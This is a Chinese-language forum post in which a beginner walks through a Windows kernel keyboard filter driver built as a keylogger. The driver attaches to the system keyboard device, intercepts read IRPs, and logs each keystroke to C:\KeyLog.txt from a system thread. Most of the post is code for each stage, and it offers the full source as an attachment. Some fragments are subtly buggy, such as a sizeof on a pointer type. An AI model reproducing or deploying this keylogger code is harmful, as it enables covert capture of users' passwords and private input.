大家好,前一段时间看《Windows驱动开发技术详解》,现在总算是看的差不多了,所以就选了个比较简单的东西来做下。呵呵,第一次写大家别见笑哈(话说我这是边参考边写的,自己单独写对我来说太难了,对我来说主要是练出写的感觉,以后估计就会好多了,大家别见怪哈。。。)

总体思路就是在系统的键盘设备上(也就是\Device\KeyboardClass0上)挂接一个我们自己创建的设备对象,这样当我们击键的时候,由于IRP是自上向下的,所以我们创建的设备首先会截到IRP_MJ_READ,我们取这个IRP中相关的按键信息,然后根据makecode用switch判断击了哪个键,然后我们记录进一个Buffer,最后用ZwWriteFile写进刚刚创建过的文件。(这里有些资料上有更好的办法,有一个是用ConvertScanCodeToKeyCode,但是我搞不定,所以就用了一个比较笨的办法。。。

1.DriverEntry函数
这个函数主要做一些初始化的工作,ZwCreateFile也是在这个函数中实现的。
(1)设置派遣例程
  for(int i=0;i<=IRP_MJ_MAXIMUM_FUNCTION;i++)
  {
    DriverObject->MajorFunction[i]=Dispatch;
  }
  DriverObject->MajorFunction[IRP_MJ_CREATE]=
  DriverObject->MajorFunction[IRP_MJ_CLOSE]=CreateClose;
  DriverObject->MajorFunction[IRP_MJ_READ]=Dispatched;

(2)驱动程序attach到系统的键盘设备上。
targetdevice=IoAttachDeviceToDeviceStack(mydevice,device);

(3) 创建一个线程,用于记录击键行为。
InitThreadKeyLogger(pDriverObject);

(4)ZwCreateFile部分。
  UNICODE_STRING textname;
  RtlInitUnicodeString(&textname,L"\\??\\C:\\KeyLog.txt");
  OBJECT_ATTRIBUTES ObjectAttributes;
  InitializeObjectAttributes (&ObjectAttributes,&textname,OBJ_CASE_INSENSITIVE,NULL,NULL);

  IO_STATUS_BLOCK StatusBlock;
  status=ZwCreateFile(&pDevExt->hLogFile,GENERIC_WRITE,&ObjectAttributes,&StatusBlock,NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);

2.派遣例程
派遣函数主要就两个,一个是不处理直接传给下层的,一个是处理截获的
(1)不处理Dispatch:

IoSkipCurrentIrpStackLocation(pIrp);
return   IoCallDriver(targetdevice,Irp);

(2)处理Dispatched:

IoCopyCurrentIrpStackLocationToNext(Irp);
IoSetCompletionRoutine(pIrp,OnReadCompletion,deviceObject,TRUE,TRUE,TRUE);
return IoCallDriver(targetdevice,Irp);
3.在Dispatched里设置了个完成例程,但按键完成后,IRP返回STATUS_SUCCESS。这时我们就可以获取我们想要的按键信息。
  if(Irp->IoStatus.Status==STATUS_SUCCESS) //检查IRP的状态,如果是STATUS_SUCCESS则说明IRP已经记录了击键数据。
  {
    key=(PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer;
    numKeys=Irp->IoStatus.Information/sizeof(PKEYBOARD_INPUT_DATA);
    for(int i=0;i<numKeys;i++) //用for循环从每个成员中获取击键动作
    {
      if(key->Flags==KEY_MAKE && key->MakeCode)
      {
        KdPrint(("Scan MakeCode:%x\n",key->MakeCode));
      
      //分配一些NonPagedPool内存,并将扫描码放入其中,然后将其置入全局链表中。
      KEY_DATA* kData=(KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
      kData->KeyData=key->MakeCode;//把扫描码插进链表以写入文件.
      kData->KeyFlags=key->Flags;

      KdPrint(("Add Irp to the queue."));
      ExInterlockedInsertTailList(&pdx->List,&kData->ListEntry,&pdx->Lock);

      //Semaphore
      KeReleaseSemaphore(&pdx->Semaphore,0,1,FALSE);//信号灯加1.
      }
    }
  }
这样写日志线程就可以工作了。

4.滤驱动attach到系统键盘设备上

(1)创建过滤设备

status=IoCreateDevice(DriverObject,sizeof(DEVICE_EXTENSION),&DeviceName1,device->DeviceType,device->Characteristics,TRUE,&mydevice);
PDEVICE_EXTENSION pDevExt=(PDEVICE_EXTENSION)mydevice->DeviceExtension;
pDevExt->pDevice=mydevice;
pDevExt->ustrDeviceName=DeviceName1;
pDevExt->uIrpPendingCount=0;

(2)将过滤驱动attach到底层键盘设备上

targetdevice=IoAttachDeviceToDeviceStack(mydevice,device);
mydevice->DeviceType=targetdevice->DeviceType;
mydevice->Characteristics=targetdevice->Characteristics;
mydevice->Flags &= ~DO_DEVICE_INITIALIZING;
mydevice->Flags |= (targetdevice->Flags &(DO_DIRECT_IO | DO_BUFFERED_IO));

这样过滤驱动的挂载就完成了,下面就可以过滤所有的键盘操作了。接下来是创建一个用于写日志的线程。

5. 创建线程,执行写日志操作

调用PsCreateSystemThread创建线程、根据线程句柄获得线程对象。
NTSTATUS Status=PsCreateSystemThread(&hThread,(ACCESS_MASK)0L,NULL,NULL,NULL,ThreadKeyLogger,pDevExt);
status=ObReferenceObjectByHandle(hThread,THREAD_ALL_ACCESS,NULL,KernelMode,(PVOID *)&pDevExt->pThreadObj,NULL);

6. ThreadKeyLogger系统线程

  while(b)//good idea.   use semaphore and KeWaitForSingleObject do the IRP job.
  {
    KeWaitForSingleObject(&pDevExt->Semaphore,Executive,KernelMode,FALSE,NULL);
    pListEntry=ExInterlockedRemoveHeadList(&pDevExt->List,&pDevExt->Lock);
    if(pDevExt->bThreadTerminate)
    {
      PsTerminateSystemThread(STATUS_SUCCESS);
    }
      kData=CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);

      //字符串乱码问题,  初始化的问题
      ANSI_STRING keys;
        switch(kData->KeyData)
        {
          case 0x1:
            RtlInitAnsiString(&keys,"ESC");
            KdPrint(("ESC 键被按下"));
            break;
............
        IO_STATUS_BLOCK io_status;
        NTSTATUS status=ZwWriteFile(pDevExt->hLogFile,NULL,NULL,NULL,&io_status,keys.Buffer,keys.Length,NULL,NULL);
        if(status!=STATUS_SUCCESS)  
        {
          KdPrint(("Writing..."));
        }
        else   
        {
          KdPrint(("Scan code '%s' successfully written to file.\n",keys.Buffer));
        }
  }}

6.卸载例程

IoDetachDevice(pDevObj);
pDevExt->bAttached=FALSE;
pDevExt->bThreadTerminate=TRUE;
PDEVICE_EXTENSION pDevExt1=(PDEVICE_EXTENSION)mydevice->DeviceExtension;

  LARGE_INTEGER timeout;
  timeout.QuadPart=10000000;
  KeInitializeTimer(&pDevExt1->kTimer);

  
  while(pDevExt1->uIrpPendingCount>0)
  {
    KeSetTimer(&pDevExt1->kTimer,timeout,NULL);
    KeWaitForSingleObject(&pDevExt1->kTimer,Executive,KernelMode,FALSE,NULL);
  }

  ULONG ul=KeReleaseSemaphore(&pDevExt1->Semaphore,0,1,TRUE);
  status=KeWaitForSingleObject(&pDevExt1->pThreadObj,Executive,KernelMode,FALSE,NULL);
  status=KeCancelTimer(&pDevExt1->kTimer);

NTSTATUS status=ZwClose(pDevExt1->hLogFile);//notice whose device...
  
status=IoDeleteSymbolicLink(&pDevExt1->ustrSymLinkName);
IoDeleteDevice(mydevice);


至此,驱动部分就已经完成了。下面是一些调试方面遇到的问题,在这里给大家看下,大家如果以后遇到可以有个借鉴哈。当然只是给菜鸟了,呵呵,牛人就直接飘过哈。

(1)STRING或ANSI_STRING或UNICODE_STRING的结构,它是由ntdef.h头文件定义的。摘抄如下:

typedef struct _STRING {
    USHORT Length;
    USHORT MaximumLength;
#ifdef MIDL_PASS
    [size_is(MaximumLength), length_is(Length) ]
#endif // MIDL_PASS
    PCHAR Buffer;
} STRING;

因此使用缓冲区的时候,不能直接用STRING等,而应是string.Buffer,同时注意Buffer已经是指针类型,因此前面不可再加&.否则ZwWriteFile后文件显示的是乱码。

(2)读取键盘输入的字符,应使用链表,同时用SpinLock,和Semaphore实现同步。以免发生异常。

(3)系统线程中while(true)的实现需要配合KeWaitForSingleObject,否则将会导致系统死机。KeWaitForSingleObject等待Semaphore,而信号灯Semaphore则随着键盘的输入释放,而这个线程在卸载例程的时候用PsTerminateSystemThread结束掉,实现了键盘输入,线程恢复,记录,系统再次休眠等待键盘的再次输入。



这是我第一次写驱动,写的不好或哪里有错的请大家指点。谢谢了。


这里是这个程序的源代码,VS2008+DDKWizard编译通过。

上传的附件 iusu.rar